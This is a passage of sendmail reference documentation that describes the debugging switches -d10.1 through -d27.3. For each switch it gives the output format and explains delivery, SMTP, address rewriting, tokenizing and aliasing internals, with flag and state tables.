When sendmail attempts delivery, it may be delivering to multiple recipients. It stores its list of recipients internally as a linked list of C language structures, each of which holds information that is specific to each recipient address. The -d10.1 debugging switch also causes sendmail to print that information using the printaddr() routine:

send to output of printaddr() here (see Section 37.3.1)

37.5.41 -d10.2

Dump controlling user's address

Every recipient address may have a controlling user associated with it (see Section 23.9.2, C line). The -d10.2 causes sendmail to dump the address of the controlling user using the printaddr() routine:

ctladdr= output of printaddr() here (see Section 37.3.1)

37.5.42 -d10.5

Showq don't send to MeToo address

If the MeToo (m) option (see Section 34.8.39, MeToo (m)) is set to false, the -d10.5 debugging switch tells sendmail to dump the address that won't receive (the QDONTSEND) the mail message.

deliver: QDONTSEND output of printaddr() here (see Section 37.3.1)

37.5.43 -d10.100

Predelivery file descriptor dump

The -d10.100 debugging switch tells sendmail to dump all its file descriptors just before it is about to attempt delivery.

37.5.44 -d11.1

Trace delivery

(useful)

The -d11.1 (a.k.a. -d11) debugging switch is used to trace message delivery. For each delivery agent the following is printed:

openmailer: argv

Here, argv is the A= array for the delivery agent, with macros expanded and printed.

The status of remote hosts is cached internally. Before connecting to a remote host, sendmail checks its cache to see whether that host is down. If it is, it skips connecting to that host. If the -d11.1 debugging switch is also specified, the status of the down host is printed as:

openmailer: output of mci_dump() here

The output of mci_dump() looks like this:

MCI@memaddr: flags=mci_flags<flag,flag,...>,
errno=mci_errno, herrno=mci_herrno, exitstat=mci_exitstat, state=mci_state,
pid=mci_pid, maxsize=mci_maxsize, phase=mci_phase, mailer=mci_mailer,
host=mci_host, lastuse=mci_lastuse

The meaning of each mci_ item in the above output is described in Table 37.6.

Table 37.6: The Meaning of the MCI Structure Items
Name | What prints
mci_memaddr | The address in memory of this C language structure
mci_flags | The flag bits in hexadecimal (see Table 37.7)
mci_errno | The error number of the last connection
mci_herrno | The DNS h_errno of the last lookup
mci_exitstat | The <sysexits.h> exit status of last connection
mci_state | The current SMTP state (see Table 37.16)
mci_maxsize | The maximum size message the host will accept
mci_pid | The PID of the child process
mci_phase | SMTP phase (string) such as "client greeting" (or NULL)
mci_mailer | The (text) name of the delivery agent (or NULL)
mci_host | The host's name (or NULL)
mci_lastuse | Last usage time in ctime(3) format

Table 37.7 shows what the individual flag bits in mci_flags mean, and the human-readable flags text that corresponds to each bit. Those text items are shown with the leading source MCIF_ prefix removed.

Table 37.7: The Meaning of mci_flags Hexadecimal Values
Value | Name | Meaning
0001 | VALID | This entry is valid
0002 | TEMP | Don't cache this connection
0004 | CACHED | This connection currently in open cache
0008 | ESMTP | This host speaks ESMTP
0010 | EXPN | EXPN command supported
0020 | SIZE | SIZE option supported
0040 | 8BITMIME | BODY=8BITMIME supported
0080 | 7BIT | Strip this message to 7 bits
0100 | MULTSTAT | MAIL11V3: handles MULT status
0200 | INHEADER | Currently outputting header
0400 | CVT8TO7 | Convert from 8 to 7 bits
0800 | DSN | DSN extension supported
1000 | 8BITOK | OK to send 8-bit characters
2000 | CVT7TO8 | Convert from 7 to 8 bits
4000 | INMIME | Currently reading MIME header

After checking to see whether the host is down, sendmail attempts to connect to it for network SMTP mail. If that connect fails, the -d11.1 debugging switch causes the following to be printed:

openmailer: makeconnection => stat=exitstatus, errno=errno

Here, exitstatus is a numerical representation of the reason for the failure as documented in <sysexits.h>, and errno is the system-level reason for the error, as documented in <errno.h>.

Other errors, such as failure to establish a pipe(2), or failure to fork(2), causes the following to be printed:

openmailer: NULL

This message (although it contains no information) signals that a more descriptive error message was logged with syslog(3) (see Section 26.1, "Logging with syslog").

37.5.45 -d11.2

Show the uid/gid running as during delivery

(useful)

To perform delivery, sendmail often has to set its uid to something other than root's. The logic behind that process is described in Section 24.2.2. The -d11.2 debugging switch tells sendmail to print the real and effective uid's that it is running under during delivery.

openmailer: running as r/euid=ruid/euid

Also, the -d11.2 debugging switch causes sendmail to print any error response that may be produced by a delivery agent:

giveresponse: stat=status, e->e_message=what

Here, status is the error that caused delivery to fail (or succeed if it is 0) as defined in <sysexits.h>. The what is either the error message produced by the delivery agent or "<NULL>" if the delivery agent was silent.

37.5.46 -d11.20

Show tried D= directories

Execution of a delivery agent can take place in any of a sequence of directories as defined by the D= delivery agent equate (see Section 30.4.3, D=). The -d11.20 debugging switch causes each directory to be printed as it is tried:

openmailer: trydir dir

Here, dir is the name of the directory that sendmail is about to chdir(2) into.

37.5.47 -d12.1

Show mapping of relative host

(useful)

In the SMTP RCPT command, sendmail is required to express the recipient's address relative to the local host. For domain addresses, this simply means that the address should be RFC822-compliant.

The -d12.1 (a.k.a. -d12) debugging switch causes sendmail to print the address as it appeared before it was made relative:

remotename(addr)

If the addr is for the sender or recipient and is being processed from a queue file, then nothing more is printed, and the addr is processed by rule set 3. If the delivery agent for the recipient has the F=C flag set (see Section 30.8.15, F=C) and the recipient address lacks a domain part, then the domain of the sender is appended, and the result is processed by rule set 3 again. Sender/recipient-specific rule sets are then applied (1 and S= for the sender, or 2 and R= for the recipient). Next, rule set 4 is applied, and any macros in the result are expanded. Finally, the fully qualified and relative address is printed as:

remotename => `addr'

37.5.48 -d13.1

Show delivery

(useful)

The -d13 (a.k.a. -d13) debugging switch causes sendmail to display information about the recipients of each mail message as it is being delivered. The -d13.1 debugging switch tells sendmail to print the mode of delivery and then the recipient information:

SENDALL: mode dmode, id=mid, e_from output of printaddr() here (see Section 37.3.1)
        e_flags = envelope flags here
        sendqueue:
output of printaddr() here (see Section 37.3.1)

Here, dmode is one of those shown in Table 37.8. The mid is the queue message identifier (such as PAA08463). The address of the sender, e_from, is dumped by using the printaddr() routine. Then the envelope flags, e_flags, are dumped as described in Table 37.3. Next, information about all the recipients (sendqueue:) is printed by using the printaddr() routine.

Table 37.8: Delivery Modes Used by sendall()
Mode | Description
i | Interactive delivery
j | Deliver w/o queueing (obsolete as of V8)
b | Deliver in background
q | Queue, don't deliver
d | Defer, queue w/o DNS lookups
v | Verify only (used internally)

Finally, the -d13.1 debugging switch causes sendmail to print a message every time it splits an envelope in two:

sendall: split orig into new

Here, orig is the original queue message identifier for the original envelope (such as PAA08463) and new is the identifier for the new envelope, the near identical clone of the first. Envelopes need to split if they have different owners.

37.5.49 -d13.5

Show addresses that we should not send to

The -d13.5 debugging switch is used to display addresses to which mail should not be delivered. One such address is that of the sender of the cloned envelope after a split:

sendall(split): QDONTSEND output of printaddr() here (see Section 37.3.1)

Another is the sender address (unless the MeToo (m) option, see Section 34.8.39, is set):

sendall: QDONTSEND   <- output of printaddr() here (see Section 37.3.1)

Finally, senders who are the owner- of mailing lists (see Section 25.3, "Defining a Mailing List Owner") should not have mail sent to them.

sendall(owner): QDONTSEND   <- output of printaddr() here (see Section 37.3.1)

This latter sender address is derived by a call to setsender(), which can be separately viewed with the -d45 debugging switch.

37.5.50 -d13.10

Trace sendenvelope()

The -d13.10 debugging switch causes sendmail to print the following upon entering its internal sendenvelope() routine:

sendenvelope(ident) e_flags=hex

The ident is either the queue identifier (such as SAA24069) or the [NOQUEUE] if the message was never assigned an identifier (such as if it was never queued). The e_flags are dumped in hexadecimal as described in Table 37.3.

37.5.51 -d13.20

Show final mode

The sendmail program's delivery mode (as initially set with the DeliveryMode (d) option; see Section 34.8.16) can change during delivery for a complex series of reasons. The -d13.20 debugging switch causes the final delivery mode to be displayed:

sendall: final mode = char

Here, char is the one of the characters that can be specified for the DeliveryMode (d) option.

37.5.52 -d13.29

Show auto-queueing

If, after all recipient addresses are checked, none are left to be delivered to (everyone of them was either dropped or queued), and if the DeliveryMode (d) option (see Section 34.8.16) is neither q, d, nor v, the -d13.29 debugging switch will cause sendmail to print:

No deliveries: auto-queuing

37.5.53 -d13.30

Show envelopes being split

The process of creating another envelope for another sender is called "splitting the envelope." The -d13.30 debugging switch causes sendmail to show its initial scanning of the send queue to count the number of envelopes (including split envelopes) that will be needed.

Checking output of printaddr() here (see Section 37.3.1)

Then, depending on the result, each owner will have one of the following printed:

... QDONTSEND
    ... QBADADDR|QQUEUEUP
    ... expensive
    ... deliverable

The Q flags are described under the output of printaddr() in Section 37.3.1.

37.5.54 -d14.2

Show header field commas

Some programs require that addresses in a list of recipients be separated from each other by space characters. This is called an "old-style" address. RFC822 requires that addressees be separated from each other with comma characters.

The -d14.2 [3] debugging switch tells sendmail to show each header line that may need spaces converted to commas.

[3] There is no -d14.1 information.

commaize(header: list)

Here, header is the caption part of a header line, such as From:. The list is a sequence of one or more addresses.

37.5.55 -d15.1

Show network get request activity

When sendmail runs in daemon mode, it opens a socket on a port, then listens on that socket for incoming SMTP connections. The -d15.1 (a.k.a. -d15) debugging switch prints information about both of those steps. Note that -d15.1 should usually be combined with -d99.100, or some output may be lost.

Before the socket is opened, sendmail prints the following:

getrequests: port 0xportno

This shows that the port numbered portno (printed in hexadecimal notation) is used to open the socket. If that open fails, sendmail syslog(3)'s one of the following messages at LOG_CRIT and exits:

getrequests: problem creating SMTP socket

If the open succeeds, sendmail attempts to bind to that socket. If it cannot bind, it syslogs the following message at LOG_CRIT and exits:

getrequests: can't bind socket

After it binds, sendmail goes into a loop in which it listens for and handles incoming SMTP requests. If the listen fails, sendmail syslog(3)'s the following message at LOG_CRIT and exits:

getrequests: cannot listen

If sendmail starts to listen successfully, this -d15.1 debugging switch causes it to print the number of the socket on which it is listening:

getrequests: sockno

This shows that sendmail is then listening on the socket whose file descriptor is sockno.

37.5.56 -d15.2

Incoming connections

In daemon mode, sendmail waits for an incoming SMTP connection. When that connection is made, sendmail forks, and the child processes the connection from that point on. The -d15.2 debugging switch causes sendmail to print a message that confirms that it is performing this fork. Note that -d15.2 should usually be combined with -d99.100, or some output may be lost:

getrequests: forking (fd = sock)

Here, sock is the value of the socket being used for the connection. The -d15.2 debugging switch also causes a message to be printed when the child process exits:

getreq: returning (normal server)
getreq: returning (null server)

Here, failure of the connection to be validated (see Section 22.4.1, "Accept/Reject Connections via libwrap.a" and Section 29.10.3, "The check_relay Rule Set"), causes null server to be printed. A successful connection causes normal server to be printed.

Finally, the -d15.2 debugging switch causes the following to be printed every time opendaemonsocket() routine is called:

opendaemonsocket()

37.5.57 -d15.101

Kernel TCP debugging

On kernels that support this feature, the -d15.101 debugging switch turns on kernel debugging for the socket that is opened to handle an incoming SMTP connection. Debugging is turned off when the socket is closed at the end of receipt of the message. The debugging information gathered can be viewed with the trpt(8) program.

37.5.58 -d16.1

Outgoing connections

When mail messages are sent to a site that can be reached via a TCP/IP connection, the -d16.1 (a.k.a. -d16) debugging switch causes sendmail to print one of the following messages when it is about to make the connection:

makeconnection: (host [NULLADDR])              <-  null address
makeconnection: (host [0])                     <-  no address family
makeconnection: (host [[UNIX: path]])          <-  AF_UNIX family
makeconnection: (host [ip address])            <-  AF_INET family
makeconnection: (host [[LINK: name]])          <-  AF_LINK family
makeconnection: (host [Family num:0xbytes])    <-  unknown family

Here, host is the name of the host to which the connection is made. The form of the address information differs depending on the address family. If the connection can be successfully made, the -d16.1 debugging switch then causes sendmail to print:

makeconnection: fd=sock

Here, sock is the socket descriptor that was issued for use with the socket connection.

If the DialDelay option (see Section 34.8.17, DialDelay) is nonzero and the connection fails, sendmail will sleep DialDelay seconds and try again. If the -d16.1 debugging switch is also specified, sendmail will print:

Connect failed (error message); trying again...

Here, error message describes the reason for the initial failure.

If there is more than one address for a host, sendmail will try each in turn until one connects successfully. The -d16.1 debugging switch causes the following to be printed for each failure:

Connect failed (error message); trying new address....

Note that the -d16 debugging switch should usually be combined with the -d99.100 debugging switch, or some output may be lost.

37.5.59 -d16.101

Kernel TCP debugging

See -d15.101. The only difference here is that debugging is turned on for the outgoing socket.

37.5.60 -d17.1

List MX hosts

When sendmail readies to deliver mail to a remote host, it looks up that host using DNS to find Mail Exchanger (MX) records. The -d17.1 (a.k.a. -d17) debugging switch causes V8 sendmail to print the following:

hostsignature(host) = records

Here, host is the host that was looked up with DNS. The records is a colon-delimited list of MX records for that host. That list might contain only the original hostname if no MX records were found.

37.5.61 -d17.9

Show randomizing MX records

MX records have preferences. Delivery is to the record with the lowest preference first, then to each higher preference, in turn, until a delivery succeeds. When two or more preferences are equal, V8 sendmail randomizes them so that they are tried in a different order. The order is the same each time, so this is really a pseudo-randomization (actually a hash function).

The -d17.9 debugging switch causes sendmail to print the following each time it randomizes:

mxrand(host) = hash

This shows that the MX records for host have been given a hash value of hash.

37.5.62 -d18.1

Show SMTP replies

The process of transmitting (or receiving) a mail message using the SMTP protocol requires sendmail to send replies as its side of the dialogue. The -d18.1 (a.k.a. -d18) debugging switch causes sendmail to print each reply that it sends. It prefixes what it prints with three right angle brackets:

>>> RCPT To: gw@wash.dc.gov

Note that this is the same output as produced with the -v command-line switch (see Section 36.7.41, -v).

The -d18.1 debugging switch also causes the following message to be printed to the standard output if the file descriptor for the connection is NULL:

smtpmessage: NULL mci_out

Prior to opening the connection, the -d18.1 debugging switch causes sendmail to print:

smtpinit output of mci_dump() here

Finally, the -d18.1 debugging switch causes sendmail to print:

reply

Each time it enters its reply() routine.

37.5.63 -d18.2

Show entry to MAIL From:

The -d18.2 debugging switch causes sendmail to show processing of the SMTP MAIL From: command that the local machine will send.

smtpmailfrom: CurHost=host

Here, host is the name of the current host that sendmail is dealing with.

37.5.64 -d18.100

Pause on SMTP read error

The -d18.100 debugging switch causes sendmail to pause(2) after a read error when processing the SMTP dialog. The administrator can then use ps(8) and gcore(8) to produce a core dump, which can then be examined with a debugger to determine the reason for the read error.

37.5.65 -d19.1

Show ESMTP MAIL and RCPT parameters

Under Extended SMTP (ESMTP) the MAIL and RCPT command can be followed by other optional parameters. The -d19.1 (a.k.a. -d19) debugging switch displays those parameters. We discuss the MAIL command first, then the RCPT command.

37.5.65.1 Show MAIL parameters

The sendmail program recognizes four parameters that can follow the address in the SMTP MAIL command: [4] SIZE, which specifies the size in bytes of the incoming message; BODY, which specifies the nature of the message body (8bitmime or 7bit); ENVID, which is used to propagate a sender-specific unique identifier for the envelope; and RET, which specifies whether or not to return the message body on an error return.

[4] SIZE is defined in RFC1653, BODY is defined in RFC1652, and ENVID and RET are defined in RFC1891.

The -d19.1 debugging switch causes sendmail to print the parameters it received:

MAIL: got arg param="value"

The param is one of the parameters shown above. The nature of the value depends on the param

The value for SIZE is a positive integer. If SIZE lacks a value, this error is issued:

501 SIZE requires a value

When multiple, illegal SIZE values are specified, the last is the one whose value is used.

The value for BODY is a case-insensitive string. It can either be 8bitmime or 7bit. If BODY lacks a value, the following error is issued:

501 BODY requires a value

If BODY has neither of the approved strings as its value, the following error is issued:

501 Unknown BODY type bad string here

When multiple, illegal BODY values are specified, the last is the one whose value is used.

The value for ENVID is a special envelope identifier. It is composed of ASCII characters in the range ! through ~, excepting + and =. Characters outside that range and those two excepted characters are replaced with a + followed by a hexadecimal representation of the character's value (there must be exactly two hexadecimal digits). If ENVID lacks a value, the following error is issued:

501 ENVID requires a value

If the text of the value is not as described above, the following error is issued:

501 Syntax error in ENVID parameter value

If more than one ENVID specified is for a given envelope, the second results in this error:

501 Duplicate ENVID parameter

The value for RET is one of two possible case-insensitive strings: hdrs tells sendmail to return only the headers of a bounced mail message; full tells sendmail to return the headers and body of a bounced mail message. If no string is present, the following error is issued:

501 RET requires a value

If a string is present but is something other than hdrs or full, the following is printed:

501 Bad argument bad string here

If more than one RET is specified for a given envelope, the following error is printed:

501 Duplicate RET parameter

If the parameter is not SIZE, BODY, ENVID, or RET, the following error is issued:

501 param parameter unrecognized

37.5.65.2 Show RCPT parameters

The sendmail program recognizes two parameters that can follow the address in the SMTP RCPT command: NOTIFY, which specifies when to notify the sender; and ORCPT, which specifies the original recipient's address.

The -d19.1 debugging switch causes sendmail to print the parameters it received:

RCPT: got arg param="value"

The param is one of the parameters shown above. The nature of the value depends on the param

The value for NOTIFY is either NEVER or a comma-separated list composed of SUCCESS, which means to notify the sender upon final delivery that the message was successfully delivered; FAILURE, which means to notify the sender if the message cannot be delivered; and DELAY, which means to notify the sender if the message is delayed. If there is no value, the following error is issued:

501 NOTIFY requires a value

If a value is present but it is not one of the words shown above, the following error is issued:

501 Bad argument \"bad value here\"  to NOTIFY

Multiple, illegal NOTIFY parameters in an envelope cause the subsequent values to be logically OR'd together.

The value for ORCPT is an address followed by a semicolon, then an address that is encoded in the same way as the envelope identifier described for ENVID above. If that value is missing, the following error message is issued:

501 ORCPT requires a value

If the value is syntactically wrong (i.e., if the value does not have a valid address following the semicolon), this error message is issued:

501 Syntax error in ORCPT parameter value

If multiple ORCPT values are specified, the second one results in this error:

501 Duplicate ORCPT parameter

37.5.66 -d20.1

Show resolving delivery agent: parseaddr()

(useful)

The -d20.1 (a.k.a. -d20) debugging switch causes sendmail to print each recipient address before it is rewritten by rule sets 3 and 0:

-parseaddr(addr)

Here, addr is the recipient address before it is rewritten and before any aliasing has been performed on it.

The -d20.1 debugging switch also causes sendmail to print information about problems that may exist in recipient addresses. If an address contains any control character that is not an isspace(3) character, sendmail prints the following message and skips that address:

parseaddr->bad address

If an address is empty (that is, if it is composed entirely of an RFC822-style comment), sendmail prints the following and skips that address:

parseaddr->NULL

After the recipient address has been rewritten by rule sets 3 and 0, and if a delivery agent was successfully selected, sendmail prints the result using the printaddr() routine.

Note that -d21 can be used to watch the rule sets parse the address, and -d24 can be used to watch the resulting tokens being pasted back together.

37.5.67 -d21.1

Trace rewriting rules

(useful)

The -d21.1 (a.k.a. -d21) debugging switch causes sendmail to print each step that it takes in rewriting addresses with rules. The -d21.1 debugging switch causes output to be produced that is identical to the output produced by the -bt command-line switch (see Section 38.1, "Overview"):

rewrite: rule set num   input: addr
rewrite: rule set num returns: addr

Here, num is the rule-set number, and addr is, first, the address (workspace) before rewriting and, second, the address after rewriting.

Because rules are recursive by nature, they can sometimes cause infinite loops (see Section 28.6.2, "Rewrite Once Prefix: $:"). When a rule loops more than 100 times, the following error is issued:

Infinite loop in rule set num, rule rnum

If the -d21.1 debugging switch was also invoked the above error is followed by:

workspace: state of rewritten address so far, here

37.5.68 -d21.2

Trace $& macros

(useful)

The -d21.2 debugging switch tells sendmail to show the current value of any deferred-expansion macro (one that was declared with the $& prefix). Each such macro that is encountered in processing a rule prints as:

rewrite: LHS $&char => "value"
rewrite: RHS $&char => "value"

The char is the single-character name of the macro, and the value is its current value. If that particular macro lacks a value, it will print as (NULL). The LHS refers to the left-hand side of the rule, and the RHS corresponds to the right-hand side. Deferred-expansion macros are described in Section 31.5.3, "Use Value as Is with $&".

37.5.69 -d21.3

Show subroutine calls

The -d21.3 debugging switch causes sendmail to print the rule-set number of each rule set called as a subroutine. Rule sets are called as subroutines by using the $> rewrite-operator in the RHS of rules (see Section 28.6.4, "Rewrite Through Another Rule Set: $>set"). The output produced looks like this:

---callsubr rset

Here, rset is the text that was interpreted as the number of the rule set, rather than the numeric value. If the number in the configuration file was a symbolic name, then that symbolic name is printed. (See Section 28.6.4 for more details about the $> rewrite-operator.)

37.5.70 -d21.4

Result after rewriting by a rule

If the LHS of a rule matches the workspace, the workspace is rewritten by the RHS of that rule. The -d21.4 debugging switch causes sendmail to print the result of a successful rewrite:

rewritten as: addr

Note that the rewritten address (addr) may be the result of rewriting by a subroutine call.

37.5.71 -d21.10

Announce failure

If the LHS of a rule fails to match the workspace, the -d21.10 debugging switch causes sendmail to print:

--- rule fails

37.5.72 -d21.12

Announce success and show LHS

If the LHS of a rule matches the workspace, the -d21.12 debugging switch causes sendmail to print:

--- rule matches

The -d21.12 debugging switch also causes the LHS of each rule to be printed before it is tried:

---trying rule: lhs

Remember that rules are pre-expanded when the configuration file is read. As a consequence, defined macros appear as their values in the lhs, rather than in their $letter form.

37.5.73 -d21.15

Show $digit replacement

The -d21.15 debugging switch causes sendmail to print each replacement that is the result of a $digit rewrite-operator in the RHS:

$digit: hex=token ...

Here, $digit is followed by one or more hex=token pairs. The hex is the address in memory of the token, and the token is the token from the LHS that is being copied into the workspace. This output can run to many screens.

37.5.74 -d21.35

Show token by token LHS matching

In addition to the rewriting information shown by the debugging switches mentioned above, the -d21.35 debugging switch also shows each and every attempt by the LHS to match the workspace. Each comparison is printed like this:

ap=workspace rp=operator

Here, ap (for address part) indicates the token in the workspace that the rule is currently trying to match. The rp (for rule part) is the operator or token at this point in the LHS that is trying to match the workspace. Note that the workspace is a single token from the workspace, and the operator is a single operator or token from the LHS of the current rule. A complete comparison of the LHS to the workspace can produce several lines of output for each rule. This output can be useful for understanding how the pattern-matching algorithm works.

The -d21.35 debugging switch also shows the index advancing to the next operator and what the corresponding state of the workspace is at that time.

ADVANCE rp=operator ap=workspace

This is useful for watching the left-hand side trying to find a match.

37.5.75 -d21.36

Trace class matching in the LHS

The -d21.36 debugging switch causes sendmail to print the following each time it finds a match for either the $= or $~ class-operator:

CLMATCH

The -d21.36 switch also shows how sendmail extends the token in the workspace and tries again, should a match for any operator fail. That is, for all operators (not just $= or $~), if the workspace contained usa.edu, sendmail would first look up usa, then usa., and finally usa.edu. Each such attempt prints as:

EXTEND rp=operator ap=workspace

If there is still no match, sendmail has to back up and try a different tack. In the case of usa.edu it would back up to the dot. For example, if it were trying $=X, the output would look like this:

BACKUP  rp=$=X, ap=.

37.5.76 -d22.1

Trace tokenizing an address: prescan()

(useful)

Processing of rules requires that all addresses be divided into tokens. The -d22.1 (a.k.a. -d22) debugging switch causes sendmail to print the various steps it takes in tokenizing an address.

In addition to tokenizing, the prescan() routine also normalizes addresses. That is, it removes RFC822-style comments and recognizes quoted strings. Be aware that rules are also viewed as addresses and processed by prescan() when the configuration file is being read.

The -d22.1 debugging switch tells sendmail to complain if the first token in the address it is parsing turns out to be nothing

prescan: null leading token

This can happen if an address (or rule) contains only RFC822-style comments in parenthesis.

37.5.77 -d22.11

Show address before prescan

(useful)

The -d22.11 debugging switch causes the address to be printed as it appears before any tokenizing or normalization:

prescan: addr

37.5.78 -d22.12

Show address after prescan

(useful)

The -d22.12 debugging switch causes the address to be printed as it appears after all tokenizing and normalization:

prescan==> addr

37.5.79 -d22.36

Show each token

The -d22.36 debugging switch causes each token to be printed when found:

tok=token

37.5.80 -d22.101

Trace low-level state machine

For the purpose of tokenizing, an address is viewed as a stream of characters. The process of tokenizing and normalizing is driven by a state machine that handles the stream one character at a time. For example, if the current character is @, sendmail sees that it has found both the start and end of a token and so resets its state to begin looking for a new token. But if the current character is a and sendmail is currently gathering a token, it knows that it should continue to gather. The use of a state machine enables sendmail to easily keep track of things such as the nesting level of angle brackets and whether or not a quoted string is present.

The -d22.101 debugging switch causes sendmail to output two lines of information. The first shows entry into a state (or continuation of a state):

c=char, s=state;

Here, char is the current character in the stream of characters that makes up the original address. The state is a two-digit octal representation of the current state. The first digit modifies the second and is a 2 (which means that this is a meta-character so don't pass it through), a 4 (which means to break the token at this character), or a 6 (which means both 2 and 4). The second digit indicates the state. The list of states and their meanings are shown in Table 37.9. The semicolon separates this output from the rest of the line that is printed below.

Table 37.9: States Used by parseaddr() to Tokenize Addresses
Decimal | Octal | Name | Description
0 | 00 | OPR | A wildcard operator (such as $*)
1 | 01 | ATM | An atom (text token)
2 | 02 | QST | Inside a quoted string
3 | 03 | SPC | Chewing up spaces
4 | 04 | ONE | Pick up one character
5 | 04 | ILL | Illegal character

The rest of the output produced by the -d22.101 debugging switch shows the state changing to a new state:

ns=nstate

Here, nstate is the new state number, printed in octal with a leading zero.

Note that the level 101 in -d22.101 means that this debugging output is for true experts only.

37.5.81 -d24.4

Trace address allocation

The -d24.4 debugging switch [5] tells sendmail to print a message upon its entry into the allocaddr() routine:

[5] There is no -d24.1 information.

allocaddr(flags=flags, paddr=paddr)

Here, the address in paddr will be copied into another address (not shown). The flags is a hexadecimal representation of the RF_ flags used by sendmail to communicate with some of its internal routines. The meanings of the bits in these flags are shown in Table 37.10.

Table 37.10: sendmail's Internal RF_ flags
Hex | Name | Description
000 | RF_COPYNONE | Don't copy anything
001 | RF_SENDERADDR | Set = sender address, otherwise recipient
002 | RF_HEADERADDR | Set = header address, otherwise envelope
004 | RF_CANONICAL | Strip RFC822 comments
008 | RF_ADDDOMAIN | Okay to append a domain
010 | RF_COPYPARSE | Copy parsed user and host
020 | RF_COPYPADDR | Copy the print address

If RF_COPYPARSE is set in flags, the temporary strings for the host and user in the passed address (not shown) are allocated permanent storage in memory.

37.5.82 -d24.5

Trace assembly of tokens

The -d24.5 debugging switch tells sendmail to print a message upon its entry into the buildaddr() routine.

buildaddr, flags=flags, tv=tokens

The buildaddr() routine takes an array of separate tokens and pastes them back together again. The flags are ORed together hexadecimal values as documented in Table 37.10. The RF_SENDERADDR and RF_HEADERADDR flags tell buildaddr() which rewriting rules to use in processing the address.

The array of tokens being assembled is printed on a single line, each separated from the other by a space.

37.5.83 -d24.6

Show result of buildaddr()

The -d24.6 debugging switch tells sendmail to print the result of buildaddr()'s attempt to reconstruct an address.

buildaddr => output of printaddr() here (see Section 37.3.1)

37.5.84 -d25.1

Trace "sendtolist"

(useful)

Each recipient address for a mail message is added one-by-one to an internal list of recipients. The -d25.1 (a.k.a. -d25) debugging switch causes sendmail to print each address as it is added to this list:

sendto: list
   ctladdr= output of printaddr() here (see Section 37.3.1)

After each is added, those that have selected a delivery agent with the F=A (see Section 30.8.12, F=A) and F=w (see Section 30.8.43, F=w) flags set are further processed by aliasing and by reading the user's ~/.forward file. Each new address that results from this processing is added to the list, and any duplicates are discarded.

37.5.85 -d26.1

Trace recipient queueing

(useful)

The -d26.1 (a.k.a. -d26) debugging switch causes sendmail to print the addresses of recipients as they are added to the send queue - an internal list of addresses that sendmail uses to sort and remove duplicates from the recipient addresses for a mail message.

On entry to the recipient() routine, the -d26.1 debugging switch causes sendmail to print the raw address (as it appears before adding it to the send queue):

recipient (level): output of printaddr() here (see Section 37.3.1)

An address can be the result of alias expansion. Because the process of aliasing (including :include: and .forward files) can be recursive, it is possible to get too many alias expansions. The level shows the number of alias expansions so far. If that number exceeds MaxAliasRecursion (as hard coded in conf.c as 10), sendmail issues this warning:

aliasing/forwarding loop broken (level aliases deep; MAXRCRSN max)

Next sendmail compares the new address to others that are already in the send queue. If it finds a duplicate, it prints the following message and skips the new address:

addr in sendq: output of printaddr() here (see Section 37.3.1)

Here, addr is the duplicate address. Information about that address is produced with the printaddr() routine.

37.5.86 -d26.8

Trace self destructing addresses

Certain addresses can "self destruct" because they can cause an endless loop. Consider the address A. If A is aliased to B and B is aliased to A, A is a self-destructive address. The -d26.8 debugging switch causes sendmail to print the address that is being tested for self-destruction:

testselfdestruct: output of printaddr() here (see Section 37.3.1)

37.5.87 -d26.10

Show full send queue in testselfdestruct

The -d26.10 debugging switch causes the entire send queue to be printed after the testselfdestruct above:

SENDQ:
output of printaddr() here (see Section 37.3.1)
--

37.5.88 -d27.1

Trace aliasing

(useful)

The -d27.1 (a.k.a. -d27) debugging switch causes sendmail to print each step it takes when processing local addresses through aliasing. First, sendmail prints the addresses being aliased:

alias(addr)

Here, addr is the address (usually a local username) that is about to be aliased. Note that it may already be the result of previous aliasing. If the addr can be aliased, its transformation is printed as:

addr (host, user) aliased to newaddr

Here, addr is the address before aliasing, and the newaddr is the new address that resulted from successful aliasing. The host and user are the hostname and username from the recipient part of the envelope. If the addr cannot be aliased, nothing is printed.

During initialization, if the aliases database cannot be opened, the -d27.1 debugging switch causes sendmail to print:

Can't open aliasfile

Here, aliasfile is the full pathname of the aliases(5) file, as declared by the AliasFile (A) option (see Section 34.8.1, AliasFile (A)) or implied with the service-switch file and the ServiceSwitchFile option (see Section 34.8.61).

If the failure was due to a faulty map declaration, sendmail logs the following error:

setalias: unknown alias class mapclass

If the map is not one that is allowed to provide alias services, sendmail logs this error:

setalias: map class mapclass can't handle aliases

If sendmail is trying to create a database file and it can't (usually when it is run with the -bi command-line switch or run as newaliases), the -d27.1 debugging switch causes the following error to be printed:

Can't create database for filename: reason here

A self-destructive alias can cause a dangerous loop to occur. For example, the following two aliases can lead to a loop on the host mailhost:

jake:           Jake_Bair
Jake_Bair:      jake@mailhost

The -d27.1 debugging switch causes the following message to be printed when sendmail tests an address to see whether it loops:

self_reference(addr)
        ... no self ref                      <- if it didn't loop
        ... cannot break loop for "addr"     <- if it's unbreakable

An alias loop is unbreakable if no local username can be found in the list of aliases.

The -d27.1 debugging switch also causes sendmail to print the following message when it is attempting to read the user's ~/.forward file:

forward(user)

If the user has no home directory listed in the passwd(5) file, sendmail issues the following message with a syslog(3) level of LOG_CRIT:

forward: no home

The -d27.1 debugging switch also causes sendmail to print a warning if it cannot open or lock an alias file for automatic rebuilding (see Section 34.8.4, AutoRebuildAliases (D), the AutoRebuildAliases (D) option):

Can't open file:  reason here
newaliases: cannot open file:  reason here

Here, the error might be caused by the file simply not existing (as would be the case if it was NSF-mounted on a down host) or an I/O error (as would be the case for a bad disk).

warning: cannot lock file:  reason here

Failure to lock can be caused by system errors or by the file being read-only. Note that maintaining an aliases file under revision control can cause a read-only copy to exist, resulting in the following error:

Can't create database for file:  reason here
Cannot create database for alias file file

This error indicates that the output file (the dbm(3) or db(3) file) could not be created or written.

37.5.89 -d27.2

Include file, self reference, error on home

(useful)

The -d27.2 debugging switch causes each :include: and .forward filename to be printed before each is opened for reading:

include(file)

The -d27.2 debugging switch also causes additional information to be printed for the alias loop check described above:

self_reference(addr)
        ... getpwnam(user)...found       <- if in passwd file
        ... getpwnam(user)...failed      <-  otherwise

The -d27.2 debugging switch also causes sendmail to print a message every time it sleeps while waiting for the aliases database to be rebuilt:

aliaswait: sleeping for sec seconds

Also, when processing the ~/.forward file, sendmail may experience a temporary inability to read it (such as when an NFS server is down). In that case the -d27.2 debugging switch causes the following message to be printed:

forward: transient error on home

Here the message will be queued and tried again later.

37.5.90 -d27.3

Forwarding path and alias wait

(useful)

The -d27.3 debugging switch causes each path for a possible .forward file to be printed before it is tried:

forward: trying file

